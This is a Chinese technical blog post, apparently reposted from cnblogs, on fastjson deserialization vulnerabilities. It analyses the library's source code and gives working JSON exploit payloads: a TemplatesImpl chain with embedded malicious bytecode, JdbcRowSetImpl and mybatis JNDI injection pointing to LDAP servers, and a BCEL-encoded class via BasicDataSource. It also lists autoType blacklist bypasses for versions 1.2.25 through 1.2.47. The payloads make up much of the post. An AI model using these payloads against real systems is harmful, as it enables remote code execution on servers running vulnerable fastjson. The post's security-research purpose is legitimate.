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fastjson反序列化漏洞

时间：2024-09-22 18:13:19浏览次数：9  
标签：fastjson String com class className 漏洞 序列化 type public

fastjson

将java中的类和json相互转化的一个工具.

简单使用

javabean类转json

public class FastjsonTest {
    public static void main(String[] args) {
        User user = new User();
        String json = JSON.toJSONString(user);
        System.out.println(json);
    }
}

{"id":"yyyy-MM-dd HH:mm:ss"}

自省支持

使转化json中记录了类的类型.

public class FastjsonTest {
    public static void main(String[] args) {
        User user = new User();
        String json = JSON.toJSONString(user,SerializerFeature.WriteClassName);
        System.out.println(json);
    }
}

{"@type":"User","id":"yyyy-MM-dd HH:mm:ss"}

json转javabean类

parseObject

存在@type 


public class POC1 {
    public static void main(String[] args) {
        String payload="{\"@type\":\"User\",\"id\":11,\"name\":\"ll\"}";
        System.out.println(JSON.parseObject(payload, User.class).getClass());
    }
}

无参构造
setId
setName
class User

public class POC1 {
    public static void main(String[] args) {
        String payload="{\"@type\":\"User\",\"id\":11,\"name\":\"ll\"}";
        System.out.println(JSON.parseObject(payload).getClass());
    }
}

无参构造
setId
setName
getId
getNameclass com.alibaba.fastjson.JSONObject

使用parseObject可以指定转化后的类型.同时我们可以看出未指定类型的时候,是先初始化类然后在使用get方法来获取其中的属性来创建JSONObject类的.

未存在@type 

public class POC1 {
    public static void main(String[] args) {
        String payload="{\"id\":11,\"name\":\"ll\"}";
        System.out.println(JSON.parseObject(payload, User.class).getClass());
    }
}

无参构造
setId
setName
class User

public class POC1 {
    public static void main(String[] args) {
        String payload="{\"id\":11,\"name\":\"ll\"}";
        System.out.println(JSON.parseObject(payload).getClass());
    }
}

class com.alibaba.fastjson.JSONObject

不使用@type对指定类的无影响,未指定类的就不会进行初始化了.

parse

public class POC1 {
    public static void main(String[] args) {
        String payload="{\"id\":11,\"name\":\"ll\"}";
        System.out.println(JSON.parse(payload).getClass());
    }
}

class com.alibaba.fastjson.JSONObject

未指定@type就不存在实例化.

源码解析

因为parseObject只要存在@type就可以进行反序列化,后文的分析即以parseObject()为主

从调用链来看,是通过反射来实现调用类的属性和方法的.我们分析一下这些所涉及的类

JSON

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

从这里就看出parseObject方法本质底层是使用的parse,只是进行了一次转化而已.

从这里看的话,JSON是初始化了一个DefaultJSONParser,并进行了调用.

 DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
            Object value = parser.parse();
            parser.handleResovleTask(value);
            parser.close();

DefaultJSONParser

我们发现这时传递了了class,那么DefaultJSONParser其中就一定有关于对类的类型确认的逻辑.

JavaBeanDeserializer

传递了对象,即对一个类进行实例化.

DefaultFieldDeserializer

对FieldDeserializer类进行了一些配置

FieldDeserialize

Map map = (Map)method.invoke(object);

使用反射直接调用变量中的方法,

反序列化

<dependency>
     <groupId>com.alibaba</groupId>
     <artifactId>fastjson</artifactId>
     <version>1.2.24</version>
   </dependency>

TemplatesImpl

限制

Feature.SupportNonPublicField开启

因为我们要对私有属性进行一个赋值

我们想要调用的方法为

public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

我们发现这刚好就是一个get方法,我们查看一下是否有对应的属性

        /**
     * Output properties of this translet.
     */
    private Properties _outputProperties;

我们发现存在下划线,你们是否可以调用,我们看看源码.由上文的源码逻辑分析来看,关于类的实例化的处理是JavaBeanDeserializer.我们直接查找下划线试试.发现是存在下划线的处理的.那么大概率是可以调用的.

                for(i = 0; i < key.length(); ++i) {
                    char ch = key.charAt(i);
                    if (ch == '_') {
                        snakeOrkebab = true;
                        key2 = key.replaceAll("_", "");
                        break;
                    }

{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADMAHAEAA0NhdAcAFgEAEGphdmEvbGFuZy9PYmplY3QHAAMBAApTb3VyY2VGaWxlAQAIQ2F0LmphdmEBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQALbm90ZXBhZC5leGUIABABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAASABMKAAsAFAEAFkV2aWxDYXQ2NTM4ODI3MzI3MTQxMDABAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAXAQAGPGluaXQ+DAAZAAgKABgAGgAhAAIAGAAAAAAAAgAIAAcACAABAAkAAAAWAAIAAAAAAAq4AA8SEbYAFVexAAAAAAABABkACAABAAkAAAARAAEAAQAAAAUqtwAbsQAAAAAAAQAFAAAAAgAG"],
  "_name" : "a",
  "_tfactory" : {},
  "outputProperties" : {}
}

JdbcRowSetImpl

限制

可以进行出网

符合jndi攻击限制

其中的setAutoCommit会执行一个lookup

 public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }

    }

private Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

那么我们的目标就是控制this.getDataSourceName(),显然可以通过setDataSourceName()来进行设置.

public void setDataSourceName(String var1) throws SQLException {
        if (this.getDataSourceName() != null) {
            if (!this.getDataSourceName().equals(var1)) {
                super.setDataSourceName(var1);
                this.conn = null;
                this.ps = null;
                this.rs = null;
            }
        } else {
            super.setDataSourceName(var1);
        }

    }

那么我们就可以实现jndi注入攻击了.

public class FastjsonTest {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/#Exp\", \"autoCommit\":false}";
                JSON.parse(payload);
    }
}

BasicDataSource

这里我们要利用的就是它的getConnection()方法来实现任意代码执行，具体原理参考BCEL反序列化漏洞原理

{
    "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
    "driverClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
}

安全机制与bypass

parse()调用get方法

fastjson<=1.2.36

{
    {
        "aaa": {
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
        }
    }:"xxx"
}

在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……} 这一整段外面再套一层{}，这样的话会把这个整体当做一个JSONObject，会把这个当做key，值为xxx。

在DefaultJSONParser.parseObject方法后面会调用key的toString方法

$ref调用

astjson解析到ref会判断为是一个引用，[1]表示的是数组里的第二个元素，可以看到第二个元素是一个User对象。则

{
   { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
    "driverClassLoader": {
        "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
    },
    "driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A"
    }
    {
        "$ref": "$[0].Connection"
    }
}

1.2.25

public class POC1 {
    public static void main(String[] args) {
        String payload="{\"@type\":\"User\",\"id\":11,\"name\":\"ll\", \"t1\":{}}";
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        System.out.println(JSON.parseObject(payload).getClass());
    }
}

autoTypeSupport即是1.2.25新的一个配置.

安全机制

我们使用之前的playload,会发现出现报错.我们对比一下1.2.25和1.2.24的差异.

我们会发现逻辑中出现了一个新的config.checkAutoType().可以看到在解析过程中，只要key值为@type时，就会进入checkAutoType函数尝试获取类.我们先观察一下其中的条件分支,我们观察那些不被autoTypeSupport配置影响的逻辑.

   Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

他们存在的主要原因是在于fastjson想让一些基础类（还有一些白名单中的异常类）可以不受SupportAutoType限制就可以反序列化

所以从代码的逻辑来看,一下情况都返回class

  • acceptHashCodes 白名单
  • INTERNAL_WHITELIST_HASHCODES 内部白名单
  • TypeUtils.mappings mappings缓存
  • deserializers.findClass 指定类
  • typeMapping.get 默认为空
  • JsonType 注解
  • exceptClass 存在期望类

我们的报错具体是由这段代码引发的

   
        if (autoTypeSupport || expectClass != null) {
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    return TypeUtils.loadClass(typeName, defaultClassLoader);
                }
            }

            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

那么很明显denyList就是黑名单了.acceptList就是一个白名单.

具体使用如下

未开启autotyesupport时，会有以下的步骤:

  • 判断typename是否在黑名单中(以黑名单中的类名开头)，如果是则直接拦截
  • 判断typename是否在白名单中(默认为空)，如果是则根据类名寻找类

可以看到是先进行了一个黑名单的过滤，再从白名单中寻找允许的类。

当开启autotypesupport时，会有以下的步骤:

  • 判断typename是否在在白名单中，如果是则直接根据类名寻找类并返回
  • 判断typename是否在黑名单中(以黑名单中的类名开头)，如果是则直接拦截
  • TypeUtils.loadClass(typeName, this.defaultClassLoader): 调用这个方法去寻找类并返回

即开启autotypesupport后,只要不在黑名单即可

bypass

开启autotypesupport

1.2.25-1.2.41

{
    "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
    "dataSourceName": "ldap://127.0.0.1:1389/Basic/Command/calc.exe",
    "autoCommit": true
}

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe","autoCommit":true}]}

上文我们提到过,开启autotypesupport后,假如一个类即不在黑名单也不在白名单里.会直接使用`TypeUtils.loadClass来进行一个加载.

public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className == null || className.length() == 0) {
            return null;
        }

        Class<?> clazz = mappings.get(className);

        if (clazz != null) {
            return clazz;
        }

        if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }

        if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }

问题就在于这里对[和L的处理.[和L是JNI的字段描述符，以L开头;;结尾代表的是java中的Object，以[开头代表的是数组。所以在恶意类前添加L或[,那么就可以绕过对L或[的检查.加载到我们的恶意类.

未开启autotypesupport

利用mappings缓存的绕过

在MiscCodec中调用了TypeUtils.loadClass.

当class是一个java.lang.Class类时，会去加载指定类.将类写入mappings缓存

  if (clazz == Class.class) {
            return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
        }

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/badNameClass",
        "autoCommit":true
    }
}

1.2.42

安全机制

我们发现现在是对hash进行对比.并且会去除头尾的 L [ ;但是只是一次过滤.

bypass

开启autotypesupport

我们直接经典的双写绕过.

{
    "@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName": "ldap://127.0.0.1:1389/Basic/Command/calc.exe",
    "autoCommit": true
}

1.2.43

安全机制

这个版本的fastjson判断只要以LL开头就直接抛出异常:

我们就可以使用,以[开头的来进行绕过

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/calc.exe","autoCommit":true}]}

1.2.44

这个版本的fastjson判断只要以[开头就抛出异常，以;结尾也抛出异常，因此我们上述的绕过方法都失效了:

long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
if (h1 == -5808493101479473382L) {
    throw new JSONException("autoType is not support. " + typeName);
} else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
    throw new JSONException("autoType is not support. " + typeName);
}

这个bypass主要是用到的一个黑名单外的类，其是mybatis包里的类，所以需要有mybatis的依赖:

{
    "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
    "properties": {
        "data_source": "ldap://127.0.0.1:23457/Command8"
    }
}

1.2.47

到1.2.47这个都是可以用的

{
    "payload1": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "payload2": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://localhost:1389/Object",
        "autoCommit": true
    }
}

1.2.47之后的大多条件就比较复杂了,这些版本里也没啥很好的绕过方法，网上多是从黑名单中结合JNDI注入找漏网之鱼（找到的多为组件类，需要目标机器上有该组件才能打https://paper.seebug.org/1155/）以及expectClass绕过AutoType

参考文章

https://xz.aliyun.com/t/12096#toc-4

https://longlone.top/安全/java/java安全/组件安全/fastjson/#安全机制与bypass

https://www.kingkk.com/2020/06/浅谈下Fastjson的autotype绕过/

标签：fastjson,String,com,class,className,漏洞,序列化,type,public
From： https://www.cnblogs.com/Ho1dF0rward/p/18425615

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